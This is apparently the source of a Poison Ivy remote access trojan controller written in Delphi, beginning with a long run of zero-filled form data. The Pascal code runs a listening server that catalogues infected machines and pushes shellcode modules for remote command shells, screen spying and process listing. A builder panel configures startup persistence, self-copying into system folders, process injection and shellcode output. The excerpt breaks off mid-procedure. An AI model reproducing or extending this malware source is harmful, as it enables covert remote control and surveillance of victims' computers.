0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000}
end
object Timer_Stats: TTimer
Interval = 500
OnTimer = Timer_StatsTimer
Left = 671
Top = 80
end
object PopupMenu_Connections: TPopupMenu
Left = 591
Top = 224
object MenuItem_thumbnail: TMenuItem
Caption = 'Show Thumbnail'
OnClick = MenuItem_thumbnailClick
end
object MenuItem_PING: TMenuItem
Caption = 'Ping'
OnClick = MenuItem_PINGClick
end
object MenuItem_GroupView1: TMenuItem
Caption = 'GroupView'
OnClick = MenuItem_GroupView1Click
end
end
object ImageList_Thumbnail: TImageList
Height = 96
Width = 128
Left = 727
Top = 16
end
object XPManifest1: TXPManifest
Left = 727
Top = 48
end
object dlgSave1: TSaveDialog
Left = 726
Top = 218
end
end
================================================
FILE: Client/FormMain.pas
================================================
unit FormMain;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs,
CoolTrayIcon, Vcl.Menus, Vcl.StdCtrls, Vcl.Buttons, Vcl.ComCtrls, Vcl.Tabs,
Vcl.ExtCtrls, Vcl.Samples.Spin, System.ImageList, Vcl.ImgList,
diocp_tcp_server, UnitGlobal, Vcl.ActnMan, Vcl.ActnColorMaps, Vcl.XPMan,
Vcl.Imaging.jpeg, Winapi.ShellAPI;
type
TMainForm = class(TForm)
PopMenu_Tray: TPopupMenu;
MenuItem_Show1: TMenuItem;
MenuItem_EnableBalloontip1: TMenuItem;
N2: TMenuItem;
MenuItem_ExitPoisonIvy1: TMenuItem;
CoolTrayIcon1: TCoolTrayIcon;
StatusBar_1: TStatusBar;
TabSet_1: TTabSet;
SpeedButton_Version: TSpeedButton;
PageControl_Main: TPageControl;
ListView_Connections: TListView;
TabSheet_Connections: TTabSheet;
TabSheet_Build: TTabSheet;
Panel_Main: TPanel;
TabSheet_Setting: TTabSheet;
TabSheet_Stats: TTabSheet;
TabSheet_About: TTabSheet;
GroupBox_Setting: TGroupBox;
Panel_1: TPanel;
SpeedButton_Save: TSpeedButton;
ScrollBox_Setting: TScrollBox;
Label_1: TLabel;
Bevel_1: TBevel;
Label_5: TLabel;
SpinEdit_Port: TSpinEdit;
Label_6: TLabel;
Edit_Password: TEdit;
CheckBox_Password: TCheckBox;
ImageList_Flags: TImageList;
ScrollBox_Stats: TScrollBox;
Panel_11: TPanel;
Label_TotalAttempts: TLabel;
Label_TotalConnections: TLabel;
GroupBox_1: TGroupBox;
Label_Sent_Compressed: TLabel;
Label_Sent_UnCompressed: TLabel;
Label_Sent_Ratio: TLabel;
GroupBox_11: TGroupBox;
Label_Recv_Compressed: TLabel;
Label_Recv_UnCpmoressed: TLabel;
Label_Recv_Ratio: TLabel;
Memo_Stats: TMemo;
SpeedButton_ResetStats: TSpeedButton;
GroupBox_Stats: TGroupBox;
Label_2: TLabel;
Bevel_2: TBevel;
RadioButton_Layout_TreeView: TRadioButton;
RadioButton_Layout_Menu: TRadioButton;
Label_4: TLabel;
Bevel_3: TBevel;
CheckBox_ShowBallontip: TCheckBox;
Timer_Stats: TTimer;
PopupMenu_Connections: TPopupMenu;
ImageList_Thumbnail: TImageList;
CheckBox_Thumbnail: TCheckBox;
MenuItem_thumbnail: TMenuItem;
XPManifest1: TXPManifest;
GroupBox_About: TGroupBox;
ScrollBox_About: TScrollBox;
Label_TitleLabel: TLabel;
Label_authorlabel: TLabel;
Image_1: TImage;
ScrollBox_1: TScrollBox;
Label_Credits: TLabel;
Bevel_11: TBevel;
Label_DankeLabel: TLabel;
Bevel_12: TBevel;
Bevel_13: TBevel;
Label_11: TLabel;
ScrollBox_11: TScrollBox;
Label_Development_Team: TLabel;
Bevel_4: TBevel;
Label_SloganLabel: TLabel;
Label_SoftInfo: TLabel;
Label_3: TLabel;
Label_12: TLabel;
Label_13: TLabel;
GroupBox_Build: TGroupBox;
ScrollBox_Build: TScrollBox;
Label_14: TLabel;
Label_7: TLabel;
Edit_DnsList: TEdit;
SpeedButton_Add: TSpeedButton;
Label_8: TLabel;
Edit_ID: TEdit;
Label_9: TLabel;
Edit_BPassword: TEdit;
CheckBox_1: TCheckBox;
CheckBox_Socks5: TCheckBox;
Bevel_5: TBevel;
Label_10: TLabel;
Edit_Socks5_Server: TEdit;
Label_15: TLabel;
SpinEdit_Socks5_Port: TSpinEdit;
Label_16: TLabel;
Label_17: TLabel;
Edit_Socks5_Username: TEdit;
Edit_Socks5_Password: TEdit;
CheckBox_Startup: TCheckBox;
Bevel_6: TBevel;
Edit_StartupName: TEdit;
Label_18: TLabel;
SpeedButton_1: TSpeedButton;
Label_19: TLabel;
CheckBox_CopySelf: TCheckBox;
Label_20: TLabel;
Edit_FileName: TEdit;
Label_21: TLabel;
Bevel_8: TBevel;
Label_22: TLabel;
Edit_Mutex: TEdit;
SpeedButton_2: TSpeedButton;
CheckBox_Inject: TCheckBox;
SpeedButton_3: TSpeedButton;
RadioButton_InjectIE: TRadioButton;
RadioButton_InjectCustom: TRadioButton;
Bevel_9: TBevel;
Panel_2: TPanel;
RadioButton_SystemFolder: TRadioButton;
RadioButton_WindowsFolder: TRadioButton;
Label_23: TLabel;
Edit_InjectProcess: TEdit;
SpeedButton_4: TSpeedButton;
dlgSave1: TSaveDialog;
Panel_3: TPanel;
RadioButton_Binary: TRadioButton;
RadioButton_CArray: TRadioButton;
RadioButton_DelphiArray: TRadioButton;
Panel_4: TPanel;
RadioButton_PE: TRadioButton;
Label_24: TLabel;
SpinEdit_FileAlign: TSpinEdit;
RadioButton_ShellCode: TRadioButton;
Label_25: TLabel;
RadioButton_PythonArray: TRadioButton;
Bevel_7: TBevel;
Bevel_10: TBevel;
Bevel_14: TBevel;
Panel_5: TPanel;
RadioButton_CurrentRun: TRadioButton;
RadioButton_ActiveX: TRadioButton;
MenuItem_PING: TMenuItem;
CheckBox_2: TCheckBox;
MenuItem_GroupView1: TMenuItem;
procedure MenuItem_EnableBalloontip1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormResize(Sender: TObject);
procedure SpeedButton_VersionClick(Sender: TObject);
procedure TabSet_1Change(Sender: TObject; NewTab: Integer; var AllowChange: Boolean);
procedure FormMouseWheel(Sender: TObject; Shift: TShiftState; WheelDelta: Integer; MousePos: TPoint; var Handled: Boolean);
procedure CheckBox_PasswordClick(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure SpeedButton_SaveClick(Sender: TObject);
procedure SpeedButton_ResetStatsClick(Sender: TObject);
procedure Timer_StatsTimer(Sender: TObject);
procedure MenuItem_thumbnailClick(Sender: TObject);
procedure MenuItem_Show1Click(Sender: TObject);
procedure MenuItem_ExitPoisonIvy1Click(Sender: TObject);
procedure CoolTrayIcon1Click(Sender: TObject);
procedure CoolTrayIcon1DblClick(Sender: TObject);
procedure Label_12MouseEnter(Sender: TObject);
procedure Label_12MouseLeave(Sender: TObject);
procedure Label_13Click(Sender: TObject);
procedure CheckBox_1Click(Sender: TObject);
procedure CheckBox_Socks5Click(Sender: TObject);
procedure SpeedButton_1Click(Sender: TObject);
procedure SpeedButton_2Click(Sender: TObject);
procedure SpeedButton_3Click(Sender: TObject);
procedure SpeedButton_AddClick(Sender: TObject);
procedure SpeedButton_4Click(Sender: TObject);
procedure RadioButton_CurrentRunClick(Sender: TObject);
procedure RadioButton_ActiveXClick(Sender: TObject);
procedure CheckBox_StartupClick(Sender: TObject);
procedure ListView_ConnectionsDblClick(Sender: TObject);
procedure MenuItem_PINGClick(Sender: TObject);
procedure CheckBox_InjectClick(Sender: TObject);
procedure CheckBox_CopySelfClick(Sender: TObject);
procedure CheckBox_2Click(Sender: TObject);
procedure MenuItem_GroupView1Click(Sender: TObject);
private
{ Private declarations }
FTcpServer: TDiocpTcpServer;
private
procedure OnConnected(var msg: TMessage); message WM_CONNECTED;
procedure OnDisConnected(var msg: TMessage); message WM_DISCONNECTED;
procedure OnClientMessage(var msg: TMessage); message WM_CLIENT_MESSAGE;
procedure OnAddStats(var msg: TMessage); message WM_ADD_STATS;
public
{ Public declarations }
procedure StartServer();
procedure UpdateStatusBarAndHint();
procedure SwitchBalloonHintState(b: Boolean);
procedure SwitchThumbnailState(b: Boolean);
procedure ResetStats();
procedure UpdateStats();
procedure ShowBalloonHint(id, addr, os: string);
procedure ErrorBox(s: string);
procedure InfoBox(s: string);
function FindGroupId(name: string): Integer;
end;
var
MainForm: TMainForm;
implementation
uses
UnitClientContext, SimpleMsgPack, UnitShellCodes, UnitCountryInfo, UnitCommon,
UnitFormDns, UnitBuilder, FormOperate;
{$R *.dfm}
procedure TMainForm.CheckBox_1Click(Sender: TObject);
begin
if CheckBox_1.Checked then
Edit_BPassword.PasswordChar := '*'
else
Edit_BPassword.PasswordChar := #00;
end;
procedure TMainForm.CheckBox_2Click(Sender: TObject);
begin
if CheckBox_2.Checked then
Edit_Socks5_Password.PasswordChar := '*'
else
Edit_Socks5_Password.PasswordChar := #00;
end;
procedure TMainForm.CheckBox_CopySelfClick(Sender: TObject);
begin
if CheckBox_CopySelf.Checked then
begin
RadioButton_SystemFolder.Enabled := True;
RadioButton_WindowsFolder.Enabled := True;
Edit_FileName.Enabled := True;
Edit_FileName.Color := clWindow;
end else
begin
RadioButton_SystemFolder.Enabled := False;
RadioButton_WindowsFolder.Enabled := False;
Edit_FileName.Enabled := False;
Edit_FileName.Color := clScrollBar;
end;
end;
procedure TMainForm.CheckBox_InjectClick(Sender: TObject);
begin
if CheckBox_Inject.Checked then
begin
RadioButton_InjectIE.Enabled := True;
RadioButton_InjectCustom.Enabled := True;
Edit_InjectProcess.Enabled := True;
Edit_InjectProcess.Color := clWindow;
end else
begin
RadioButton_InjectIE.Enabled := False;
RadioButton_InjectCustom.Enabled := False;
Edit_InjectProcess.Enabled := False;
Edit_InjectProcess.Color := clScrollBar;
end;
end;
procedure TMainForm.CheckBox_PasswordClick(Sender: TObject);
begin
if CheckBox_Password.Checked then
begin
Edit_Password.PasswordChar := '*';
end
else
begin
Edit_Password.PasswordChar := #0;
end;
end;
procedure TMainForm.CheckBox_Socks5Click(Sender: TObject);
begin
if CheckBox_Socks5.Checked then
begin
Edit_Socks5_Server.Color := clWindow;
SpinEdit_Socks5_Port.Color := clWindow;
Edit_Socks5_Username.Color := clWindow;
Edit_Socks5_Password.Color := clWindow;
Edit_Socks5_Server.Enabled := True;
SpinEdit_Socks5_Port.Enabled := True;
Edit_Socks5_Username.Enabled := True;
Edit_Socks5_Password.Enabled := True;
end
else
begin
Edit_Socks5_Server.Color := clScrollBar;
SpinEdit_Socks5_Port.Color := clScrollBar;
Edit_Socks5_Username.Color := clScrollBar;
Edit_Socks5_Password.Color := clScrollBar;
Edit_Socks5_Server.Enabled := False;
SpinEdit_Socks5_Port.Enabled := False;
Edit_Socks5_Username.Enabled := False;
Edit_Socks5_Password.Enabled := False;
end;
end;
procedure TMainForm.CheckBox_StartupClick(Sender: TObject);
begin
if CheckBox_Startup.Checked then
begin
Edit_StartupName.Enabled := True;
SpeedButton_1.Enabled := True;
RadioButton_CurrentRun.Enabled := True;
RadioButton_ActiveX.Enabled := True;
Edit_StartupName.Color := clWindow;
end
else
begin
Edit_StartupName.Enabled := False;
SpeedButton_1.Enabled := False;
RadioButton_CurrentRun.Enabled := False;
RadioButton_ActiveX.Enabled := False;
Edit_StartupName.Color := clScrollBar;
end;
end;
procedure TMainForm.MenuItem_EnableBalloontip1Click(Sender: TObject);
begin
SwitchBalloonHintState(not MenuItem_EnableBalloontip1.Checked);
end;
procedure TMainForm.MenuItem_ExitPoisonIvy1Click(Sender: TObject);
begin
Self.Close;
end;
procedure TMainForm.MenuItem_GroupView1Click(Sender: TObject);
begin
ListView_Connections.GroupView := not ListView_Connections.GroupView;
MenuItem_GroupView1.Checked := ListView_Connections.GroupView;
end;
procedure TMainForm.MenuItem_PINGClick(Sender: TObject);
begin
if ListView_Connections.Selected = nil then
Exit;
TClientContext(ListView_Connections.Selected.Data).SendPing;
end;
procedure TMainForm.MenuItem_Show1Click(Sender: TObject);
begin
if Self.Visible then
Self.Visible := False
else
Self.Visible := True;
end;
procedure TMainForm.CoolTrayIcon1Click(Sender: TObject);
begin
MenuItem_Show1Click(Sender);
end;
procedure TMainForm.CoolTrayIcon1DblClick(Sender: TObject);
begin
MenuItem_Show1Click(Sender);
end;
procedure TMainForm.ErrorBox(s: string);
begin
MessageBox(Handle, PChar(s), 'Error', MB_ICONERROR or MB_OK);
end;
function TMainForm.FindGroupId(name: string): Integer;
var
i: Integer;
begin
for i := 0 to ListView_Connections.Groups.Count - 1 do
begin
with ListView_Connections.Groups.Items[i] do
begin
if (Header = name) then
begin
Result := GroupID;
Exit;
end;
end;
end;
with ListView_Connections.Groups.Add do
begin
Header := name;
HeaderAlign := TAlignment.taCenter;
Result := GroupID;
end;
end;
procedure TMainForm.FormCreate(Sender: TObject);
var
i: Integer;
sl: TStringList;
begin
Self.Height := 400;
Self.Width := 800;
sl := TStringList.Create;
try
sl.Append('Aphex');
sl.Append('shapeless');
sl.Append('Anskya');
sl.Append('ymofen');
Label_Credits.Caption := sl.Text;
sl.Clear;
sl.Append('Anskya');
Label_Development_Team.Caption := sl.Text;
finally
FreeAndNil(sl);
end;
// ȫֱ
g_ListeningPort := 8080;
g_Password := 'killeven';
g_TreeVeiwLayout := True;
g_ShowThumbnail := False;
SwitchBalloonHintState(True);
// ѡλ
TabSet_1.Parent := StatusBar_1;
TabSet_1.SetBounds(StatusBar_1.Panels.Items[0].Width + 3, 2, StatusBar_1.Panels.Items[1].Width - 4, StatusBar_1.Height - 5);
TabSet_1.ParentBackground := True;
TabSet_1.SoftTop := True;
// ״̬ť
SpeedButton_Version.Parent := StatusBar_1;
SpeedButton_Version.SetBounds(1, 3, StatusBar_1.Panels.Items[0].Width - 2, StatusBar_1.Height - 4);
SpeedButton_Version.Flat := True;
for i := 0 to PageControl_Main.PageCount - 1 do
PageControl_Main.Pages[i].TabVisible := False;
PageControl_Main.ActivePage := PageControl_Main.Pages[0];
FormResize(Self);
// tcpserver
FTcpServer := TDiocpTcpServer.Create(Self);
FTcpServer.WorkerCount := 0;
FTcpServer.RegisterContextClass(TClientContext);
FTcpServer.CreateDataMonitor;
ResetStats;
StartServer;
end;
procedure TMainForm.FormDestroy(Sender: TObject);
begin
FTcpServer.SafeStop;
FreeAndNil(FTcpServer);
end;
procedure TMainForm.FormMouseWheel(Sender: TObject; Shift: TShiftState; WheelDelta: Integer; MousePos: TPoint; var Handled: Boolean);
var
scroll_bar: TControlScrollBar;
begin
case PageControl_Main.ActivePageIndex of
1:
begin
scroll_bar := ScrollBox_Build.VertScrollBar;
end;
2:
begin
scroll_bar := ScrollBox_Setting.VertScrollBar;
end;
3:
begin
scroll_bar := ScrollBox_Stats.VertScrollBar;
end;
4:
begin
scroll_bar := ScrollBox_About.VertScrollBar;
end
else
Exit;
end;
scroll_bar.Position := scroll_bar.Position - (WheelDelta div 10);
end;
procedure TMainForm.FormResize(Sender: TObject);
begin
StatusBar_1.Panels.Items[1].Width := MainForm.ClientWidth - (StatusBar_1.Panels.Items[0].Width + 3) - (StatusBar_1.Panels.Items[2].Width + 3) - (StatusBar_1.Panels.Items[3].Width + 3);
TabSet_1.Width := StatusBar_1.Panels.Items[1].Width - 5;
if (PageControl_Main.ActivePageIndex = 0) then
begin
Panel_Main.Left := -4;
Panel_Main.Top := -5;
Panel_Main.Height := MainForm.ClientHeight - StatusBar_1.Height + 10;
Panel_Main.Width := MainForm.ClientWidth + 8;
end
else
begin
Panel_Main.Left := 0;
Panel_Main.Top := -1;
Panel_Main.Height := MainForm.ClientHeight - StatusBar_1.Height + 0;
Panel_Main.Width := MainForm.ClientWidth + 0;
end;
end;
procedure TMainForm.InfoBox(s: string);
begin
MessageBox(Handle, PChar(s), 'Info', MB_ICONINFORMATION or MB_OK);
end;
procedure TMainForm.Label_12MouseEnter(Sender: TObject);
begin
(Sender as TLabel).Font.Color := clRed;
end;
procedure TMainForm.Label_12MouseLeave(Sender: TObject);
begin
(Sender as TLabel).Font.Color := clBlue;
end;
procedure TMainForm.Label_13Click(Sender: TObject);
begin
ShellExecute(Handle, 'open', PChar((Sender as TLabel).Caption), nil, nil, SW_SHOW);
end;
procedure TMainForm.ListView_ConnectionsDblClick(Sender: TObject);
var
form: TOperateForm;
ctx: TClientContext;
sel: TListItem;
begin
sel := ListView_Connections.Selected;
if sel = nil then
Exit;
ctx := TClientContext(sel.Data);
if ctx.OperateForm = nil then
begin
form := TOperateForm.Create(Self);
form.Caption := Format('[%s] %s Poision Ivy Reload', [sel.Caption, ctx.RemoteAddr]);
form.ctx := ctx;
ctx.OperateForm := form;
end
else
begin
form := TOperateForm(ctx.OperateForm);
end;
form.Show;
end;
procedure TMainForm.MenuItem_thumbnailClick(Sender: TObject);
begin
SwitchThumbnailState(not MenuItem_thumbnail.Checked);
end;
procedure TMainForm.OnAddStats(var msg: TMessage);
begin
Memo_Stats.Lines.Add(string(msg.LParam));
end;
procedure TMainForm.OnClientMessage(var msg: TMessage);
var
ctx: TClientContext;
cmsg: TClientMessage;
msgpack: TSimpleMsgPack;
li: TListItem;
temp: DWORD;
bmp: TBitmap;
mouse_pt, bmp_pt: TPoint;
begin
ctx := TClientContext(msg.WParam);
cmsg := TClientMessage(msg.LParam);
msgpack := TSimpleMsgPack.Create;
try
if (cmsg.cmd <> CMD_SCREENSPY_DATA) and (cmsg.cmd <> CMD_CMDSHELL_DATA) then
begin
Memo_Stats.Lines.Add('recv cmd: ' + CmdStrings[uint8(cmsg.cmd)]);
end;
case cmsg.cmd of
CMD_LOGIN_INFO:
begin
msgpack.DecodeFromStream(cmsg.buffer);
ListView_Connections.Items.BeginUpdate;
li := ListView_Connections.Items.Add;
with li do
begin
GroupID := FindGroupId(msgpack.S['group']);
Caption := msgpack.S['id'];
SubItems.Add(ctx.RemoteAddr);
SubItems.Add(msgpack.S['lan']);
SubItems.Add(msgpack.S['computer_name']);
SubItems.Add(msgpack.S['username']);
SubItems.Add(GetAccType(msgpack.I['acc']));
SubItems.Add(GetOsVersion(msgpack.S['os']));
SubItems.Add(IntToStr(msgpack.I['cpu']) + ' Mhz');
SubItems.Add(SizeToStr(msgpack.I['ram']));
SubItems.Add(GetVersion(msgpack.I['version']));
SubItems.Add('-');
end;
ctx.SendPing;
ctx.Image_Index := GetCountryImageIndex(msgpack.S['language']);
if not g_ShowThumbnail then
li.ImageIndex := ctx.Image_Index
else
ctx.SendCmd(CMD_THUMBANIL_START);
li.Data := ctx;
ctx.Data := li;
ListView_Connections.Items.EndUpdate;
ShowBalloonHint(msgpack.S['id'], ctx.RemoteAddr, GetOsVersion(msgpack.S['os']));
UpdateStatusBarAndHint;
end;
CMD_PING:
begin
// reply pong then update ping
ctx.SendCmd(CMD_PONG);
ctx.SendPing();
end;
CMD_PONG:
begin
cmsg.buffer.Read(temp, SizeOf(temp));
if ctx.Data <> nil then
begin
TListItem(ctx.Data).SubItems[9] := IntToStr(GetTickCount() - temp);
TListItem(ctx.Data).Update;
end;
end;
CMD_THUMBNAIL_DATA:
begin
if g_ShowThumbnail and (ctx.Data <> nil) then
begin
bmp := TBitmap.Create;
try
bmp := TBitmap.Create;
bmp.LoadFromStream(cmsg.buffer);
if (ctx.Thumbnail_Index = -1) then
ctx.Thumbnail_Index := ImageList_Thumbnail.Add(bmp, nil)
else
ImageList_Thumbnail.Replace(ctx.Thumbnail_Index, bmp, nil);
TListItem(ctx.Data).ImageIndex := ctx.Thumbnail_Index;
TListItem(ctx.Data).Update;
finally
FreeAndNil(bmp);
end;
end;
end;
CMD_SCREENSPY_START:
begin
TOperateForm(ctx.OperateForm).SetScreenSpyState(True);
end;
CMD_SCREENSPY_DATA:
begin
cmsg.buffer.Read(mouse_pt, SizeOf(mouse_pt));
bmp := TBitmap.Create;
try
while (cmsg.buffer.Read(bmp_pt, SizeOf(bmp_pt)) <> 0) do
begin
bmp.LoadFromStream(cmsg.buffer);
TOperateForm(ctx.OperateForm).ScreenSpyDraw(mouse_pt, bmp_pt, bmp);
end;
finally
FreeAndNil(bmp);
end;
end;
CMD_SCREENSPY_END:
begin
TOperateForm(ctx.OperateForm).SetScreenSpyState(False);
end;
CMD_PROCESS_LIST:
begin
with TOperateForm(ctx.OperateForm) do
begin
ClearProcesses;
while (cmsg.buffer.Position <> cmsg.buffer.Size) do
begin
msgpack.DecodeFromStream(cmsg.buffer);
AddProcessesItem(msgpack.Items[0].AsString, msgpack.Items[1].AsString);
end;
end;
end;
CMD_CMDSHELL_START:
begin
TOperateForm(ctx.OperateForm).SetCmdShellState(True);
end;
CMD_CMDSHELL_DATA:
begin
msgpack.DecodeFromStream(cmsg.buffer);
TOperateForm(ctx.OperateForm).AddToCmdShell(PAnsiChar(msgpack.AsBytes));
end;
CMD_CMDSHELL_END:
begin
TOperateForm(ctx.OperateForm).SetCmdShellState(False);
end;
CMD_SHELLCODE_MAIN:
begin
Memo_Stats.Lines.Add(Format('send shellcode main, size = 0x%x.', [get_information_size()]));
ctx.SendCmd(CMD_SHELLCODE_MAIN, get_main_ptr(), get_main_size());
end;
CMD_SHELLCODE_INFORMATION:
begin
Memo_Stats.Lines.Add(Format('send shellcode information, size = 0x%x.', [get_information_size()]));
ctx.SendCmd(CMD_SHELLCODE_INFORMATION, get_information_ptr(), get_information_size());
end;
CMD_SHELLCODE_CMD_SHELL:
begin
Memo_Stats.Lines.Add(Format('send shellcode cmd_shell, size = 0x%x.', [get_cmd_shell_size()]));
ctx.SendCmd(CMD_SHELLCODE_CMD_SHELL, get_cmd_shell_ptr(), get_cmd_shell_size());
end;
CMD_SHELLCODE_THUMBNAIL:
begin
Memo_Stats.Lines.Add(Format('send shellcode thumbnail, size = 0x%x.', [get_thumbnail_size()]));
ctx.SendCmd(CMD_SHELLCODE_THUMBNAIL, get_thumbnail_ptr(), get_thumbnail_size());
end;
CMD_SHELLCODE_SCREENSPY:
begin
Memo_Stats.Lines.Add(Format('send shellcode screenspy, size = 0x%x.', [get_screenspy_size()]));
ctx.SendCmd(CMD_SHELLCODE_SCREENSPY, get_screenspy_ptr(), get_screenspy_size());
end;
CMD_SHELLCODE_PROCESS:
begin
Memo_Stats.Lines.Add(Format('send shellcode process, size = 0x%x.', [get_process_size()]));
ctx.SendCmd(CMD_SHELLCODE_PROCESS, get_process_ptr(), get_process_size());
end;
else
begin
Memo_Stats.Lines.Add('unknow proto');
end;
end;
except
on e: Exception do
begin
Memo_Stats.Lines.Add('exception' + e.Message);
end;
end;
FreeAndNil(msgpack);
end;
procedure TMainForm.OnConnected(var msg: TMessage);
var
ctx: TClientContext;
begin
ctx := TClientContext(msg.WParam);
Memo_Stats.Lines.Add('connected: ' + ctx.RemoteAddr + ':' + IntToStr(ctx.RemotePort));
end;
procedure TMainForm.OnDisConnected(var msg: TMessage);
var
ctx: TClientContext;
form: TOperateForm;
begin
ctx := TClientContext(msg.WParam);
Memo_Stats.Lines.Add('disconnected: ' + ctx.RemoteAddr + ':' + IntToStr(ctx.RemotePort));
if (ctx.Data <> nil) then
begin
ListView_Connections.Items.Delete(TListItem(ctx.Data).Index);
end;
form := TOperateForm(ctx.OperateForm);
if (form <> nil) then
begin
form.Close;
FreeAndNil(form);
end;
UpdateStatusBarAndHint;
end;
procedure TMainForm.RadioButton_ActiveXClick(Sender: TObject);
begin
SpeedButton_1.Visible := RadioButton_ActiveX.Checked;
end;
procedure TMainForm.RadioButton_CurrentRunClick(Sender: TObject);
begin
SpeedButton_1.Visible := RadioButton_ActiveX.Checked;
if CheckBox_Startup.Checked then
begin
Edit_StartupName.Enabled := True;
SpeedButton_1.Enabled := True;
Edit_StartupName.Color := clWindow;
end;
end;
procedure TMainForm.ResetStats;
begin
g_TotalConnections := 0;
g_TotalAttempts := 0;
g_Sent_UnCompressed := 0;
g_Recv_UnCompressed := 0;
Memo_Stats.Lines.Clear;
FTcpServer.DataMoniter.Clear;
UpdateStats;
